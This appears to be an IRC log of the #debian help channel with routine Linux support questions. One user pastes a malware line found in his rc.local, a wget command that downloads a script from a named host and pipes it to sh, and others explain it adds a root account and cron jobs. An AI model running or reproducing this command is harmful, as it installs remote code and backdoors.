| 13:16.21 | emu_rider | If i want to make my own VM, and the guest screen must be able to auto resize when I change window size, what programs should I use |
| 13:16.35 | FinalX | yes, KVM is built into the kernel |
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| 13:17.05 | emu_rider | Of course higher performance would be nice but auto resize is a must because I want to use GUI applications |
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| 13:31.29 | peterandre | hi |
| 13:31.53 | peterandre | my rc.local keeps being overwritten every 30 minutes or so with the following: |
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| 13:32.19 | peterandre | wget --quiet http://google.ghststr.com/LLLOL/RC -O- 2>/dev/null|sh>/dev/null 2>&1 |
| 13:32.24 | peterandre | is this malware ? |
| 13:32.36 | peterandre | i cant seem to find the culprit |
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| 13:33.15 | g0zzy | In Stretch installer. Weird thing is that when i say "format the partition" when i see what's been set, the setting is to leave the data on it. What gives? |
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| 13:33.35 | petn-randall | peterandre: yes. Wipe that system and restore from backups. |
| 13:33.43 | peterandre | darn |
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| 13:35.01 | g0zzy | Actually - i think it's OK |
| 13:35.07 | petn-randall | peterandre: That command downloads a shell script and executes it. And that downloads another shell script that adds a new root account, and also adds itself again 10 times as different cron jobs. |
| 13:35.40 | egnuph | Does /tmp need to be mounted as a tmpfs or should I keep it a disk partition mount? |
| 13:35.52 | vlt | peterandre: Any idea where you got that? |
| 13:36.06 | neo219 | I am trying to install ISPConfig on Debian 9 server and when it came to configuring mysql i get this error: "Wrong SQL-mode. You should use NO_ENGINE_SUBSTITUTION. Add sql-mode="NO_ENGINE_SUBSTITUTION" to the mysqld-section in your mysql-config on this server and restart mysqld afterwards". I added the line sql-mode="NO_ENGINE_SUBSTITUTION" in the file /etc/mysql/conf.d/mysql.cnf and restarted mysql server but when i try to install ISPConfig again, i get |
| 13:36.11 | neo219 | the same error. |
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| 13:36.59 | peterandre | well |
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| 13:37.02 | peterandre | maxided got hacked |
| 13:37.09 | peterandre | i have my server hosted with them |
| 13:37.21 | peterandre | i changed passwords and everything |
| 13:37.35 | peterandre | but found one of my servers with that command |
| 13:37.48 | peterandre | thank you for the extra info |
| 13:38.15 | vlt | peterandre: Yeah, you should wipe everything. |
| 13:38.20 | peterandre | i see |
| 13:38.23 | peterandre | thanks |
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| 13:48.13 | muAdmDev | I'm used to define network interfaces in /etc/network/interfaces. Is that still ok, or should I switch to the systemd way? |
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| 13:49.04 | muAdmDev | Further I'm wondering how the default gateway is chosen, is this based on the primary interface? And is the primary interface always the first one mentioned in /etc/network/interfaces? |
| 13:49.50 | Ool | just one default gateway |
| 13:49.57 | g0zzy | Wow! You really can't mix remote installation and local installation?? |
| 13:49.59 | Ool | so no choose is needed |
| 13:51.24 | muAdmDev | Ool: I know, ok, so if I got multiple interfaces I just have one line with gateway and this will be the default gw |
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| 13:55.57 | Ool | muAdmDev: yes, but perhaps you need some static route |
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| 13:59.38 | muAdmDev | Ool: further static routes may come later. I would add them in /etc/network/interfaces via "post-up route add X.X.X.X gw Y.Y.Y.Y" + pre-down |
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| 14:11.40 | NetTerminalGene | how to buy debian license key? |
| 14:12.17 | jelly | NetTerminalGene: there is no license key |
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| 14:14.05 | jelly | NetTerminalGene: debian is not a commercial product |
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| 14:14.44 | karlpinc | NetTerminalGene: People are free to sell you Debian but you can get it for free from debian.org. |
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| 14:21.43 | jelly | NetTerminalGene: why do you ask? |
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| 14:23.40 | roylaprattep | Editing interfaces in /etc/network/interfaces is now obsolete?! |
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| 14:24.48 | jelly | roylaprattep: on stretch no, on buster maybe, I didn't check? |
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| 14:25.15 | roylaprattep | I am still on Jessie. I like the name. Kidding. |
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| 14:26.36 | colo-work | oh, is ifupdown finally being replaced? :o |
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| 14:34.20 | blaztek | colo-work: replaced with what? |
| 14:34.35 | Aebian | I added some storage via the VMWare interface. Before it worked flawless. Now for some reason when umount'ing the disk and runing a resize2fs /dev/sdb I get the output that my disk is still at max block size. Any idea? |
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| 14:40.27 | colo-work | blaztek, Idk :) |
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| 14:42.31 | nikitasius | morning folks, have a think to ask.. When i test with MTR and i see latency 5mc it mean 5 ms from me to target AND back (i.e. 2.5ms+2.5ms) or it's 5ms one way and summary it is a 10ms ?.. |
| 14:42.37 | nikitasius | *a thing |
| 14:42.47 | nikitasius | im completely bugged with |
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| 14:43.04 | nikitasius | normally it's RTT i.e. full way |
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| 14:56.28 | DammitJim | I need recommendations on software to edit video (take a 30second section of an mp4) |
| 14:57.22 | vlt | DammitJim: ffmpeg |
| 14:57.27 | DammitJim | ty |
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| 14:58.11 | themill | if you need accuracy in the cutting ffmpeg won't be good enough and something like kdenlive will be needed |
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| 14:58.36 | vlt | I doubt that. |
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| 14:59.58 | themill | You can doubt it all you like. I have the experience of ffmpeg being unable to accurately clip. |
| 15:00.49 | dracc | themill, I doubt ffmpeg is inaccurate. Might be hard providing the arguments in the correct format, but that's another thing. |
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| 15:20.38 | vlt | themill: This passage is taken from the "When used as an input option (before "-i")" part. |
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| 15:32.49 | Lope | themill: thanks buddy |
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| 15:35.57 | noodlepie | Debian is fast to update with binary packages, its good on older machines. I use Gentoo on my 8 core i7 laptop becuase I have the CPU power to build packages from source. |
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| 15:37.39 | roylaprattep | noodlepie: It's good on everything! |
| 15:37.50 | dracc | roylaprattep, +1! |
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| 15:38.45 | dracc | noodlepie, I have 8 core, 16 thread Ryzen and use Debian because I want to spend my time on other things than compiling libreoffice, firefox or g++. :) |
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| 15:38.59 | jelly | it's not your time, it's cpu time |
| 15:39.28 | dracc | jelly, Well, cpu time I could spend on doing things that amuses me. :) |
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| 15:43.34 | JohnA | what have I screwed up here "0 */12 * * * root sleep $[$RANDOM % 1800 + 1] && ...." I am getting log entries such as "sleep: invalid time interval '$['. |
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| 15:44.21 | JohnA | That entry is from cron.d |
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| 15:50.47 | jelly | JohnA: several things come to mind. 1) shell code is run at /bin/sh, and 2) /bin/sh does not know about $[ ] 2) % needs to be escaped in crontab, man 5 crontab |
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| 15:51.39 | jelly | /bin/sh also probably doesn't know about $RANDOM either |
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| 15:53.33 | jelly | JohnA: if you're used to bash syntax, maybe use something like 0 */12 * * * root bash -c 'sleep $[$RANDOM % 1800 + 1] && ....' |
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| 15:54.04 | jelly | oops, now my irc client ate a % |
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| 16:00.05 | JohnA | jelly: Thanks |
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| 16:28.01 | sangy | is there any tool that's similar to fakeroot but inverted? (i.e., fake the uid to something other than 0) |
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| 16:39.36 | relaxed | sangy: man su |
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| 16:41.24 | sangy | relaxed: I wasn't clear enough. This machine *only* has the root uid. I don't see in the manpage that I can use a uid of my choosing, but more I have to go through PAM and go to an actual user no? |
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| 16:46.03 | jelly | sangy: what do you mean only has root uid, did you wipe all the default users and groups from /etc/{passwd,group}? |
| 16:46.15 | jelly | sangy: what does eg. this command say: su - nobody -s /bin/sh -c 'id' |
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| 16:47.08 | sangy | jelly: welp, it was more of a trivia question, but let me try this out |
| 16:47.31 | jelly | which debian release are you using? |
| 16:47.49 | sangy | debian:stable-slim |
| 16:47.55 | sangy | (as in, the container image) |
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| 16:48.18 | jelly | where can one get that container image |
| 16:48.47 | sangy | docker pull debian:stable-slim |
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| 16:49.36 | sangy | this seems to work though. Thanks! |
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| 16:52.50 | jelly | right. https://hub.docker.com/_/debian/ seems to be maintained by a couple debian developers so the images are probably sane |
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| 17:13.08 | jasperarcola | Hi, I've installed debian with root on nvme, but the BIOS I'm using dosn't can't boot from nvme devices (in either UEFI or BIOS mode). I've put a efi shell and the nvmexpress efi driver on a usb stick and with a startup.nsh script can now boot from nvme via efi. This is less than satasfactory tho - the efi shell and nvme dxe where downloaded from semi-random places on the internet - does anyone know if there is any "official" place to download |
| 17:13.08 | jasperarcola | them? debian dosn't seem to have an nvmexpress driver in refind or syslinux-efi |
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| 17:13.56 | petn-randall | jasperarcola: Does updating the BIOS help? |
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| 17:14.19 | jasperarcola | it's the latest one |
| 17:14.49 | jasperarcola | (It was released on the 19th with intel microcode updates for spectre/meltdown and some errata). |
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| 17:16.36 | jasperarcola | It's a Dell server, so it's possible that it only likes Dell pcie ssd's. Alternativly the nvme devices I'm using (Samsung PM961) don't include an efi driver in there option rom? (I don't know how that works these days, they wern't visible in the bios anyway) |
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| 17:17.10 | jasperarcola | Dell PowerEdge 510 fwiw |
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| 17:17.37 | jasperarcola | afaict the biggest community to have this issue is people building hackintoshes, which is not su useful for Debian! |
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| 17:45.19 | phantomcircuit | i'm having trouble with hostapd |
| 17:45.39 | phantomcircuit | the wireless device is being renamed by ?? from wlan0 to wlp4s0 after hostapd is started |
| 17:45.59 | phantomcircuit | which of course means hostapd fails every boot |
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| 18:06.21 | DammitJim | is smartctl the best command to check if a hard drive is starting to fail? |
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| 18:07.03 | mutante | i think so, yea |
| 18:07.30 | mutante | it's using what is built into the hard disks themselves |
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| 18:10.54 | no_gravity | I'm looking at git in Debian 9 here: https://packages.debian.org/stretch/git |
| 18:11.07 | no_gravity | How do I read the version number? Is it "1:2.11.0-3+deb9u2"? |
| 18:11.27 | greycat | ,v git |
| 18:11.28 | judd | Package: git on amd64 -- wheezy: 1:1.7.10.4-1+wheezy3; wheezy-security: 1:1.7.10.4-1+wheezy6; wheezy-backports: 1:1.9.1-1~bpo70+2; jessie: 1:2.1.4-2.1+deb8u5; jessie-security: 1:2.1.4-2.1+deb8u5; jessie-backports: 1:2.11.0-3~bpo8+1; stretch: 1:2.11.0-3+deb9u2; stretch-security: 1:2.11.0-3+deb9u2; stretch-backports: 1:2.14.2-1~bpo9+1; buster: 1:2.17.0-1; sid: 1:2.17.0-1; experimental: |
| 18:11.29 | judd | 1:2.17.0+next.20180420-1 |
| 18:11.32 | greycat | Yes, looks right. |
| 18:11.58 | no_gravity | What does it mean? It looks somewhat strange with the leading 1: |
| 18:12.07 | greycat | The leading 1: is called an "epoch". |
| 18:12.10 | greycat | !epoch |
| 18:12.11 | dpkg | [epoch] a fixed point in a chronology or the start of an era. For example, y2k was a 2 digit year epoch. In Unix, epoch often refers to the time from which seconds are counted; epoch was is Jan 1 1970 and we will run out of 32 bit numbers for this on Jan 18 2038 (by which time we will have hopefully all migrated to 64-bit architectures). An epoch can also be used to help manage version numbering in Debian; ask me about <version epoch>. |
| 18:12.19 | greycat | *sigh* |
| 18:12.23 | greycat | !version epoch |
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| 18:12.24 | dpkg | The version number of a package has a prepended number called the "epoch". It is only added when the system for upstream version numbers changes. Example: in sarge, X was version 6.8 but in etch it was 1.1 (xfree86->xorg). But 1 < 6, so we add an epoch "2:" to signify that everything with 2: is newer (if there is no : the epoch is assumed to be "0"). See section 5.6.12 of <policy> or ask me about <compare versions> <debian revision>. |
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| 18:28.34 | IN5T2UK | halo ada orang indonesia |
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| 18:29.36 | greycat | !id |
| 18:29.36 | dpkg | Silahkan kunjungi channel #debian-id di irc.oftc.net (irc.debian.org) untuk bantuan dalam bahasa Indonesia. For help in Indonesian, please try #debian-id on irc.oftc.net (irc.debian.org) |
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| 19:02.46 | DammitJim | funny thing just happened... |
| 19:02.54 | Tenkawa | oh? |
| 19:03.14 | DammitJim | I tried to install debian on a machine with the remote installer option |
| 19:03.33 | DammitJim | and when I ssh'd into the box, it didn't give me the window to continue the installer |
| 19:03.56 | DammitJim | it just said it was failing back to brltty something |
| 19:04.14 | noodlepie | Ah the joys of "apt-get clean" to free some disk space. |
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| 19:09.33 | DammitJim | silly question, but should I set the kernel to be linux-image-4.9.0.... or linux-image-amd64? |
| 19:10.19 | greycat | if you install linux-image-amd64 it will always bring in the newest stable kernel, even if the ABI changes (-5- -6- etc.) |
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| 19:10.34 | DammitJim | what's the CON of doing that? |
| 19:11.16 | greycat | if you're not certain the new kernels will work on your hardware for some reason, you may not want them installed, because update-grub will typically make the newest kernel the default boot target |
| 19:11.42 | DammitJim | sounds like I should just do the amd64, then |
| 19:11.46 | DammitJim | thanks greycat for clarifying... |
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| 19:27.26 | Logg | trying to open a serial connection. any alternatives to minicom? I don't like that it hijacks ctrl-a, since that's the "home" key for cisco ios. |
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| 19:27.54 | greycat | um... kermit comes to mind |
| 19:28.11 | Tenkawa | start minicom with a diff hotkey |
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| 19:29.37 | Tenkawa | check its docs |
| 19:30.10 | Logg | looking at them now to figure out how it's possible Tenkawa |
| 19:30.29 | Tenkawa | Logg: i see a meta hotkey option |
| 19:30.40 | Tenkawa | that looks like a possibility |
| 19:30.44 | Logg | That might conflict with my window manager |
| 19:30.58 | Tenkawa | heh |
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| 19:42.34 | Aebian | anyone knows why tomcat and java are no beoing nice on my debian? My tomcat start script is https://gist.github.com/Aebian/a036ba738c76444537c9838084087c0d // The error I get is https://i.imgur.com/if6J75K.png // run as sudo does not change anything ^^ |
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| 19:47.46 | Logg | Aebian, strange place to put jdk. Have you tried using the packages included with debian? |
| 19:48.17 | Logg | btw Tenkawa, minicom let me change the the hotkey to something cisco doesn't use by running `sudo minicom -s` |
| 19:48.43 | Aebian | no I haven't. would that be the openjdk one? |
| 19:49.04 | Logg | I think you can get oracle's java in non-free if you prefer it |
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| 19:49.38 | Logg | tomcat8 is also in the debian repositories if you're able to use that version (8.5.14) |
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| 20:38.38 | siiky | hello everyone, im setting up a new PC and, after finding and installing the drivers for my GPU, dmesg shows many lines of the sort 'failed to load <path/to/firmware>'. is it safe to ignore them? |
| 20:39.03 | Tenkawa | depends on which firmware but mosly yes |
| 20:39.09 | Tenkawa | er mostly |
| 20:39.17 | siiky | after those failure messages, there are a few related to the firmware too, but without any errors, so i suppose it was able to load? |
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| 20:40.01 | Tenkawa | you probably need some firmware- and firmware-nonfree packages installed |
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| 20:41.14 | siiky | Tenkawa: thats what i installed (firmware-amd-graphics) |
| 20:41.53 | Tenkawa | can you pastebin the ones that are messaging (output using dmesg in a console/xterm window) |
| 20:41.54 | siiky | before installed that package dmesg showed 'smth smth needs firmware' (dont remember now) |
| 20:42.25 | siiky | Tenkawa: sure, do you want the full thing or just the firmware related lines? |
| 20:42.42 | Tenkawa | just the firmware ones for now |
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| 20:44.07 | siiky | Tenkawa: https://paste.rs/y7e |
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| 20:45.01 | Tenkawa | ahhhh |
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| 20:45.35 | Tenkawa | those are just different blobs for the different cards |
| 20:46.09 | Tenkawa | somewhere in dmesg one should say loaded |
| 20:46.46 | siiky | hm so its trying all of them until one works? |
| 20:46.58 | Tenkawa | pretty much |
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| 20:47.08 | siiky | it doesnt say 'loaded' exactly, but there are no errors after saying its trying to load it |
| 20:47.18 | Tenkawa | do an lsmod |
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| 20:47.30 | Tenkawa | do you see one similar to that list? |
| 20:47.43 | Tenkawa | in the output |
| 20:47.52 | Alina-malina | Is there a way in debian to monitor the latest log files very last line in that are located in specific directory and find for specific regex when the file gets updated? |
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| 20:48.29 | Tenkawa | Alina-malina: man watch |
| 20:48.30 | siiky | Tenkawa: not polaris12, but the generic amdgpu appears in a few lines |
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| 20:49.43 | Tenkawa | siiky: have you read the wiki page on debian's site for amd gpu? |
| 20:49.50 | Alina-malina | Tenkawa, to specify, does watch checking inside files and can output the latest line like tail does? |
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| 20:49.58 | Tenkawa | radeon gpu is a bit tricky |
| 20:50.07 | Tenkawa | Alina-malina: ah |
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| 20:50.26 | Tenkawa | Alina-malina: sorry.. misunderstood |
| 20:50.57 | greycat | watch(1) is just an incredibly stupid command that people use because they are too lazy to type out "while sleep 1; do clear; ...; done". Which is all that watch actually does. |
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| 20:51.18 | siiky | Alina-malina: no, but you can combine the various commands, if i understand correctly :) `watch -n 1 'tail file.log'` |
| 20:51.26 | greycat | And yet somehow watch has become part of people's BRAINS, like seq. *shudder* |
| 20:52.04 | Tenkawa | greycat: watch can actually do incremental change diff monitoring too |
| 20:52.10 | Alina-malina | alright thanks |
| 20:52.20 | greycat | siiky: Alina-malina: if you're writing a log parser BY HAND, FROM SCRATCH, I would start with tail -n0 -F "$file" | while read -r line; do ...; done |
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| 20:52.48 | Alina-malina | yes i guess its log parser what i am trying to do |
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| 20:56.57 | greycat | Well, "real time log analyzer" is more correct than "log parser" for that framework. "Log parser" sounds more like something that reads whole logs at once. The tail|read framework looks at each line in (near) real time. |
| 20:58.07 | greycat | What do you actually want to do with each line? |
| 20:58.15 | siiky | Tenkawa: thanks for your help! there are still a few niceties missing but today ill take this as a win :P |
| 20:58.22 | Tenkawa | np |
| 20:58.33 | Tenkawa | good luck and have fun |
| 20:58.55 | Alina-malina | greycat, i need to find a specific regex in latest log file and get that string and process |
| 20:59.22 | greycat | Can you be any more vague? |
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| 21:00.47 | Alina-malina | to be more specific, it needs to check every 10-20 minutes in the latest modified file, and find ip address in latest strings that been created after last check and extract those ip addresses and store in file |
| 21:01.04 | siiky | Tenkawa: tyty |
| 21:01.14 | greycat | Why do you want a 10-20 minute delay? What do you mean by "latest modified file"? Is there not just ONE log file? |
| 21:01.25 | Alina-malina | no there are new files every day |
| 21:01.30 | greycat | *sigh* |
| 21:01.48 | greycat | "I have consructed a problem that is intentionally impossible to solve!" |
| 21:02.26 | greycat | "I have made sure that NO efficient solution is possible! It must be done with freshman level stupidity and brute force polling!" |
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| 21:02.55 | Alina-malina | wut? |
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| 21:03.07 | greycat | Why is there not a SINGLE LOG FILE? |
| 21:03.11 | Logg | as long as the file names follow a consistent pattern, you should be able to write an efficient script still |
| 21:03.16 | Logg | but yes, that IS annoying. |
| 21:03.48 | ikus060 | Hello, I need to connect to a L2TP Server (sonicwall router) from linux. L2TP seams a big complicated to configure manually. Do you know a quick script to set it up with one command line ? |
| 21:03.52 | Alina-malina | greycat, i did not design that system, so it is what it is |
| 21:04.18 | greycat | Let me guess -- the files are uploaded/created by something and you ALSO have to guess when the file has been completely written because there is no temporary file/move step.... |
| 21:04.46 | Alina-malina | ye |
| 21:05.00 | greycat | So whatever you write will fail 0.000x% of the time and there is nothing you can do about it. |
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| 21:08.47 | greycat | At this level of inept design you end up writing crap like "touch a file 20 seconds in the past, and use find ! -newer to make sure we ignore any file that's < 20 seconds old because it might still be opened, then take the results of that, and try to figure out which file is newest, and ..." |
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| 21:09.39 | greycat | At least, if you're doing it in shell, that's what you end up needing, because shell can't just LOOK AT the mtime on a file directly. |
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| 21:10.02 | greycat | (although since this is #debian you could use nonportable programs like stat(1) to help a bit) |
| 21:10.11 | Alina-malina | greycat, "ls -Art | tail -n 1" i want to rely on this command |
| 21:10.23 | greycat | HAHAHAHAHAHA |
| 21:10.28 | greycat | such failure |
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| 21:11.03 | greycat | "I have a broken design, but instead of writing extra bullet-proof code to work around all the flaws, I'm going to write utterly ABYSMALLY STUPID code that ADDS more failures!" |
| 21:11.32 | greycat | http://mywiki.wooledge.org/ParsingLs |
| 21:12.02 | greycat | http://mywiki.wooledge.org/BashFAQ/003 |
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| 21:13.34 | greycat | Making this shit NOT BREAK is the challenging part. You can't just take the newest file in the directory because it might still be opened. You're apparently using some horrible polling thing instead of inotifywait, so you have NO idea what the state of any file is. |
| 21:14.17 | greycat | Thus my earlier comments about disqualifying any file that's "too new", and the difficulties of merging tools to try to achieve these conflicting goals. |
| 21:20.02 | Alina-malina | ok let me try those aproaches |
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| 21:28.01 | greycat | unset -v newest; printf -v now '%(%s)T' -1; for f in *; do if [[ $f -nt $newest ]]; then mtime=$(stat -c %Y "$f"); if ((mtime < now - 30)); then newest=$f; fi; fi; done; echo "newest = $newest" |
| 21:28.17 | greycat | that gets the newest file in the current directory that's at least 30 seconds old (by mtime) |
| 21:28.26 | greycat | requires bash 4.something |
| 21:28.31 | greycat | and Debian's stat |
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| 21:30.39 | petemc | find . -mmin -1 |
| 21:30.47 | petemc | less granularity.. |
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| 21:31.04 | greycat | You didn't actually WRITE it though. Extracting one filename out of find's output is nontrivial. |
| 21:31.28 | greycat | Remember, filenames can contain newlines. |
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| 21:32.18 | greycat | And to get the granularity you wanted, you can touch a file with an arbitrarily chosen timestamp (probably using GNU date -d to generate that timestamp) and then find ! -newer tempfile |
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| 21:32.27 | greycat | Which is what I said like 20 minutes ago. |
| 21:32.40 | petemc | i wasnt following, sorry |
| 21:33.08 | petemc | reads back |
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| 21:33.13 | greycat | In any case, this entire PROBLEM is a clusterfuck because of the broken design coming in. |
| 21:33.40 | Tenkawa | greycat: have you seen any good benchmarks between the mmc interface and usb controller in using it for running the os? |
| 21:34.07 | greycat | I have no idea what that means. |
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| 21:35.33 | greycat | To reduce the clusterfuck-ness, you would need some additional information about the files. ANYTHING would help. Like, "we know each file has to have at least 10 lines" -- then you could reject files with less than 10 lines. Or even better, "each file will have exactly 20 lines". Then you can reject... |
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| 21:36.04 | Tenkawa | it doesnt get much clearer.. benchmarks running the pi with a microsd card or with a usb adapter |
| 21:36.08 | greycat | Set up something using inotifywait to react on file-close events, and then process each file as it's closed, rejecting ones that we can see are incomplete. |
| 21:36.30 | Tenkawa | !language |
| 21:36.30 | dpkg | methinks language is a wonderful fucking thing that should be used properly. Every time you hurt grammar, a <knoppix> user joins. To the scientists, language is god. See <$lang>, <language per user>. |
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| 21:37.19 | greycat | Just because I know a few things about shell programming, don't assume I know anything about ARM devices or MMC hardware or whatever. |
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| 21:37.58 | Tenkawa | greycat: apologies.. hit wrong button on channel |
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| 21:38.10 | Tenkawa | for my q |
| 21:40.37 | greycat | Heh, knoppix users... that factoid is showing its age. |
| 21:41.03 | Tenkawa | knoppix.. man that is ancient |
| 21:41.11 | greycat | dpkg, language =~ s/knoppix/parrot/ |
| 21:41.11 | dpkg | greycat: OK |
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| 22:13.53 | rhizome | has anybody else been hit with this google chrome fontconfig issue? https://bugs.chromium.org/p/chromium/issues/detail?id=829890&can=2&q=fontconfig |
| 22:14.04 | rhizome | sorry, "NE1" |
| 22:14.38 | rhizome | long story short, chrome is unable to start |
| 22:16.01 | tw | works for me. |
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| 22:16.27 | tw | chrome v66 on stretch |
| 22:17.38 | agio | Im looking for a daemon which can store my deencrypted SSH and GPG private keys. can anyone recommend a daemon I should be starting for this job? |
| 22:18.11 | tw | gpg-agent |
| 22:18.34 | agio | can gpg-agent store ssh keys as well? |
| 22:18.48 | tw | it can use gpg keys as ssh keys. |
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| 22:19.49 | agio | so if I already have minted SSH keys - I would need to have gpg-agent and ssh-agent? |
| 22:20.58 | tw | As I recall, debian autostarts both if you log into a session and have them installed. |
| 22:21.46 | agio | debian autostarts or a desktop environment autostart? |
| 22:22.08 | agio | autostarts? |
| 22:23.09 | tw | xsession something or other, they drop scripts in etc that cause it to get run at xorg login if your session supports it. |
| 22:24.05 | agio | tw: yes my session will support that. thanks |
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| 22:24.48 | awal1 | I use "amixer -D default set Master 5%- unmute" for increase volume via keyboard shortcut (5%- for decrease / default = pulseaudio). What I should add for go above 100% as I can do via 'pasystray' ?) |
| 22:24.54 | agio | then I just hope gpg and ssh will know to connect and use those agents with me having to muck about configuring them |
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| 22:25.20 | awal1 | 5%- decrease , 5%+ increase ^ |
| 22:25.56 | tw | agio: easy to test, open a terminal in X, run export | grep SSH_ |
| 22:26.12 | tw | if you see an agent pid and auth sock, then it'll try to connect. |
| 22:26.56 | awal1 | I use "amixer -D default set Master 5%+ unmute" for increase volume via keyboard shortcut (5%- for decrease / default = pulseaudio). What I should add for go above 100% as I can do via 'pasystray' ?) |
| 22:27.27 | agio | tw: yes thats how I thought it worked. if ssh client sees those env vars it will connect on the socket automatically to obtain key, and I think GPG agent does the same thing too right? |
| 22:27.37 | tw | if they |
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| 22:27.46 | awal1 | going above 100% is just amplification? |
| 22:27.54 | tw | 're unlocked, added, or otherwise made available to the agent, yes. |
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| 22:28.34 | agio | tw: nice, thanks |
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| 22:31.16 | tw | awal1: maybe something like this? https://unix.stackexchange.com/a/374120/61232 |
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| 22:33.58 | awal1 | tw, thanks |
| 22:34.46 | awal1 | mpv & vlc goes above 100; starting them via cli and increasing volume for check if I get any output but no |
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| 22:41.36 | awal1 | I have no much clue about src but I am trying to find out wha 'pasystray' does exactly checking https://sources.debian.org/src/pasystray/0.6.0-1/ but I am a bit lost :P |
| 22:42.44 | awal1 | which content I must check exactly for verify what pasystray does for increase volume above 100? |
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| 22:52.33 | OS-36910 | #offsec |
| 22:54.39 | emu_rider | awal1: in the folder called src |
| 22:55.29 | emu_rider | pasystray.c and pasystray.h |
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| 22:55.55 | awal1 | emu_rider, I was there yeah. I haven't found what I am looking for (how pasystray goes above 100% volume) |
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| 22:59.31 | awal1 | emu_rider, https://sources.debian.org/src/pasystray/0.6.0-1/src/pulseaudio_action.c/ maybe? |
| 23:00.01 | awal1 | but I no something refering to + 100 |
| 23:00.23 | awal1 | well, I may have to open all the files quietly after my dinner |
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| 23:01.30 | HNIC | Anyone know of an application which will setup a touch screen monitor? I installed the driver for a 3M Touch Systems Monitor, but I am not seeing anything to configure and use it |
| 23:04.50 | emu_rider | awal1: there is a line with `#include <pulse/volume.h>` |
| 23:05.01 | emu_rider | what you're looking for might be in there |
| 23:05.11 | mutante | HNIC: i see this https://packages.debian.org/en/stretch/x11-touchscreen-calibrator |
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| 23:05.42 | cef | HNIC: there's a package called inputattach that deals with serial-based input devices. mentions 3M, ELO and others in the description. No idea if it calibrates them, or just enables them somehow. |
| 23:05.53 | mutante | HNIC: https://wiki.debian.org/TabletAndTouchScreen |
| 23:06.24 | awal1 | emu_rider, which file? |
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| 23:06.52 | HNIC | mutante: Thanks. Looking now |
| 23:06.59 | HNIC | cef: I have USB one |
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| 23:07.30 | emu_rider | awal1: yea I guess that makes sense because the pasystray relies on pulseaudio |
| 23:07.50 | emu_rider | https://sources.debian.org/src/pulseaudio/11.1-5/src/pulse/ |
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| 23:08.42 | awal1 | emu_rider, pasystray is pulsystemtray |
| 23:08.55 | awal1 | pulseaudiosystemtray |
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| 23:10.39 | awal1 | emu_rider, excuse, I am not following. you said "there is a line with `#include <pulse/volume.h>`". in which file you saw that? |
| 23:11.01 | awal1 | I generally work stuff myself; I just need pistes :P |
| 23:11.36 | emu_rider | pulseaudio_action.c line24 |
| 23:12.21 | awal1 | in https://sources.debian.org/src/pasystray/0.6.0-1/src/pulseaudio_action.c/ line 24 ok. thanks |
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| 23:17.44 | awal1 | I see /usr/include/pulse/volume.h in https://packages.debian.org/sid/amd64/libpulse-dev/filelist but I no find it in my system (sid) |
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| 23:19.18 | awal1 | no trace of pulse stuff in /usr/include |
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| 23:31.14 | emu_rider | awal1: hmm then I'm not sure |
| 23:31.56 | emu_rider | #define PA_VOLUME_MAX ((pa_volume_t) UINT32_MAX/2) |
| 23:31.56 | emu_rider | because in volume.h line 129 |
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| 23:57.06 | HNIC | mutante: From the man file: X11 Touchscreen Calibrator runs as a daemon in the background. It will detect the touchscreen automatiâ cally and adjust the corresponding Coordinate Transformation Matrix of Touchscreen xinput when the resoâ lution is changed. It should also support rotation, reflection and different scaling modes of display output. |
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| 23:58.17 | HNIC | And the link: https://wiki.debian.org/TabletAndTouchScreen Is not very helpful. The "useful packages" are already installed, but still nothing happening. |
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